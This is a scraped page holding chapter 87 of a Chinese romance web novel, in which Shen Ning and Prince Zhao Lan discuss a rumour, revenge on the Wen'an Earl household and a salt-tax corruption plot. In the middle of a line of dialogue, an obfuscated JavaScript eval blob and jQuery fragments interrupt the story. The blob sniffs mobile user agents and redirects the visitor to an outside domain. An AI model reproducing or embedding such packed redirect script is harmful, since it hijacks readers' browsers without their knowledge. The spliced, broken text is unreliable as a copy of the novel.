涸舟 作品

87. 第八十七章

    宋令窈最先回过神,喃喃着朝沈宁道:“宁儿妹妹,原来这桩婚竟是楚王爷亲自求来的。”


    说完忽而想到什么,花枝乱颤地笑了起来,笑了好一会儿才停下来,道:“想当初,京城还都传,是宁儿妹妹你用了见不得人的手段抢了范雅君的婚事,今日王爷这么做,直接戳破当初的传言不说,简直是将她们的脸面按在地上打。”


    孟瑶听后也笑了起来,道:“这也算报应不爽了,当初这个传言就是从她那里传出来的,袁珂她们又把传言放大。”


    沈宁本来对范雅君没太大的憎恶,她不过对赵澜心生爱慕罢了。


    现在一听当初的传言竟是她传出的,觉得当日自己劝她不要听人教唆,去问自己本心的言论,简直就是个傻子。


    程氏和佟氏也笑了起来,同裴氏道:“没想到你家宁宁当初的赐婚,竟还有这么一桩事,不过楚王爷也太能藏事了,眼瞅着快到一年了才说出来。”


    二人说的委婉,裴氏会意。


    如果当时楚王爷就将这则消息放出来,她的宁宁哪里会遭受这么多非议?


    想到此处,裴氏看楚王爷也不顺眼起来。


    沈宁则腹诽道:他不是能藏事,他是没有嘴。


    何况那时他求圣上赐婚,根本不是什么用情至深,是看她最适合楚王妃这个位置!


    好在那时她并不介意这些传言,对她而言也没什么实质性伤害。


    唯一担心的是她还有没有安逸日子过。


    如今都已经过去了。


    裴氏几人又说了会儿话才离开。


    沈宁回到内室,见赵澜百无聊赖地翻着书,见她进来,嘴角立刻扬了起来。


    赵澜:“岳母她们走了?”


    自上次在皇庄开始称呼父亲母亲为岳父岳母后,赵澜便一直这么叫着了。


    沈宁对此已经见怪不怪,她点了点头,问:“是你让云墨今日这般行事的?”


    赵澜颔首:“我说过,今后谁要是再欺负你,我会找她们一一算账,也答应过你,你之前受的委屈都会帮你讨回来。”


    沈宁想了许久,才在脑海里抽出一丝记忆,在江南时和回来之后,赵澜的确这么说过。


    不过那时她都没放在心上。


    虽然现在她也不曾在意过去那些传言,但是被人放在心上的感觉还是很不错的。


    她笑盈盈地坐在了他的腿上,又环上他的脖子,问:“一个无足轻重的范雅君你都这般打她的脸,那经常找我茬麻烦的袁珂你打算怎么处理?”


    赵澜将书放下,揽住她的腰身,道:“你希望我怎么处理?”


    沈宁想了想,还真想不出,便道:“只要她今后别在我面前晃悠,扰了我的清净就行。”


    赵澜心道,竟然这么简单,他的宁儿可真是太良善了。


    赵澜:“以后不仅她,连同整个文安伯府,都不会在你面前晃悠了。”


    沈宁瞪大了双眼:“什么意思?你不会找了个名目把他们赶出京城吧?”


    虽然这样她举手称快,但若是这样,今日他可以赶走文安伯府,明日也可以赶走别人,说不定哪一日被赶走的就成了她们一家。


    赵澜看出了她所想,无奈道:“我在你心里就是这样的人?”


    沈宁心下嘀咕,不止你,大晟这些权贵在我心里都这样。


    倚权横行,仗势欺人。


    但她面上却迅速摇了摇头。


    赵澜笑了,再次无奈地道:“我不是这样的人。一个人再讨厌,若他没做有违律法之事,我最多会合情合理、光明正大地打他一顿。”


    沈宁了然,就像在卫所以比武之名,将齐郡王府和文安伯府的那两人打的下不来床一样。


    赵澜继续道:“若是做了有违律法之事,自然按律法来清算。否则,我朝律法岂不成了摆设?天下哪里还会有信字可言?”


    沈宁点了点头:“自古皆有死,民无信不立。”


    赵澜对沈宁能说出这样的话已经习以为常,他早就知道了他的王妃卓尔不群,他只是好奇,她的这些见地真的都是从话本或杂书上看来的吗?


    他也曾向沈城旁敲侧击过,沈城这只老狐狸,说她落水前只喜欢游湖看话本,裴氏曾想教她看账管家,她都撒娇耍赖糊弄过去,落水后性子才安静下来,没来京城的两年里,大部分时间都在房内看些杂书。


    两年。


    两年时间就能让一个人完全变成另一副模样?


    他定定地看着她,问:“这也是从杂书上看来的?”


    沈宁觑他一眼:“王爷在考我不成?”


    赵澜:“怎么说?”


    沈宁轻“哼”一声:“我才不信王爷不知这两句出自何处。”


    赵澜笑了:“所以,你读过《论语》?”


    沈宁自然读过,虽然没读过全部,但经典句子自然都晓得,毕竟是课本上的内容。


    但大晟女子很少去读这些书目,通常是什么《女四书》《列女传》这些规训女德一类的书目,还有就是读一些诗词歌赋提升女子才学。


    再真有那好学的,可能会看些《战国策》《资治通鉴》这些,但也都是被筛选过的。


    至于更多的其他书目,少有女子看了。


    沈宁笑了笑:“只看过几篇。”


    赵澜不置可否。


    沈宁接着先前的话问道:“所以王爷是查出文安伯府触犯了什么律例不成?”


    赵澜听此,点了点头:“袁珂第一次找你麻烦时,我就让人盯着文安伯府了,陆陆续续查出了许多事。”


    沈宁错愕。


    袁珂第一次找她麻烦,是她们一家刚到京城不久,去宫里参加赏秋宴那次。


    也就是说,那次宫宴,赵澜也在,还藏在暗处看了个全程?


    她神色复杂,赵澜这个人,明明做了这么多事,却从不说出来,是以,她也从不知道,这个人其实很早就值得信任和托付,即便那时二人心意并不相通。


    她忽然想到夏竹有一次和秋月几个闲话,说袁珂的哥哥袁璋,明明和齐郡王府的齐公子挨了一样的打,养好伤却比齐公子足足迟了一个月,当时几人还笑话袁璋,看起来人高马大的,竟这么弱。


    沈宁已经有八分确定,这是赵澜故意的。


    她问:“袁璋的伤比齐郡王的儿子伤的重,也是你有意为之?”


    不用细问,赵澜也知道她问的什么。


    他点了点头,坦然道:“他妹妹屡次找你麻烦,我不屑与女子动手,就都算在一处,回敬在了他身上,这是他该受的。”


    沈宁一时不知该说什么好,最后都化作一声叹息,捏起他的嘴,道:“你为什么都不告诉我呢?难不成你这张嘴真的只用来吃饭?”


    赵澜将嘴从她手里拔出,道:“我不觉得这些有什么可说的,又不是什么重要的事。”


    沈宁又叹一声:“那在你眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816620|168464||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    里,什么才是重要的事?”


    赵澜:“原来是天下,现在还有你。”


    沈宁:……


    罢了。


    沈宁又把话题拽了回来,又问了一遍:“所以,文安伯府到底做了什么?”


    赵澜:“你可知袁珂和袁璋的生父是何人?”


    京城的人都知道,沈宁点了点头:“一个袁姓书生。”


    赵澜:“其实并不是,那个袁姓书生叫袁敬,只是一个幌子。”


    沈宁瞪大了眼睛。


    赵澜:“他们的生父应当是江南盐商袁鹤声。”


    赵澜将陈平前阵子得到的消息说了一遍,沈宁听后骇然。


    没想到这里面还牵扯到了一桩杀人案。


    袁鹤声,江南盐商,盐课。


    还有昨日晋王再次对静辞妹妹下手时,江煜安说过的,过些时日,所有账都一起算。


    沈宁突然猜到了什么:“所以,谢皇后,晋王,文安伯府,还有袁鹤声,你说过的倒卖盐引侵吞盐税,与他们有关?”


    沈宁喃喃:“这一串蚂蚱竟然串了这么多人……”


    赵澜:“不止,户部和地方的一些官员也都牵涉其中,都在一根绳上。”


    所以,赵澜这是要连根拔起。


    对这样的赵澜,沈宁是钦佩的。


    沈宁:“你从边关回来,先是吏部,后是京卫武职,现在到户部了?”


    吏部黜落了一批走门路进来的官员。京卫武职邪打了一批虚冒军饷之人,后又废除武职世袭。如今到了户部,牵出一串盐税贪腐之人。


    赵澜笑了笑,抓起她的手咬了咬,道:“如果他们各司其职,我自然不会做什么,既然他们敢摸着胆子做了不该做的事,那就该承担一定的罪责。”


    沈宁心忽地软了下来:“你累不累?一个人孤不孤独?”


    赵澜听懂了她的言外之意。


    大晟官员众多,做这样事的只有他一人。


    赵澜弯起眼睛:“至少我是皇子,上面还有父皇,做这事比任何一个官员要容易许多。”


    沈宁听后深以为然,正要点头,就听赵澜又说道:“再说,大晟没几个打得过我的,如果有人阻拦,打他们一顿就老实了。”


    沈宁:……


    还真是枪杆子里面出政权,什么时候都不过时。


    她又问:“盐课一事,什么时候开始?”


    赵澜:“明日秋猎应该就结束了,陈平也会将袁珂、袁璋不是袁敬亲生的消息放出去,文安伯府得到消息定会有所动作,他们作为这条绳上中间的蚂蚱,定会两头跑,到时候袁敬被害和盐课贪腐都会浮出水面。”


    赵澜既然这么说,就是说明大部分证据都已经搜齐,只有少部分需要用这种方式让他们自己露出马脚。


    沈宁暗暗点头,忽地一顿:“秋猎不是还有四日吗?怎么明日就结束?”


    赵澜:“大晟开朝时,秋猎一年一次,一次长达一个月,那时就会有官员以圣上长期离朝荒废政务为由进谏,后来大晟也的确呈现衰颓之势。自那之后,秋猎改成了五日,不过官员又以猛兽凶残至龙体于危处劝谏。”


    赵澜说到此处笑了笑:“后来父皇登基,将秋猎改为三年一次,每次九日,不过每次都在第五日或第六日时就会有官员劝谏,父皇就顺水推舟采纳建议,君臣和睦。”


    沈宁听后,不禁啧啧称叹,大晟最狡猾的老狐狸是圣上啊!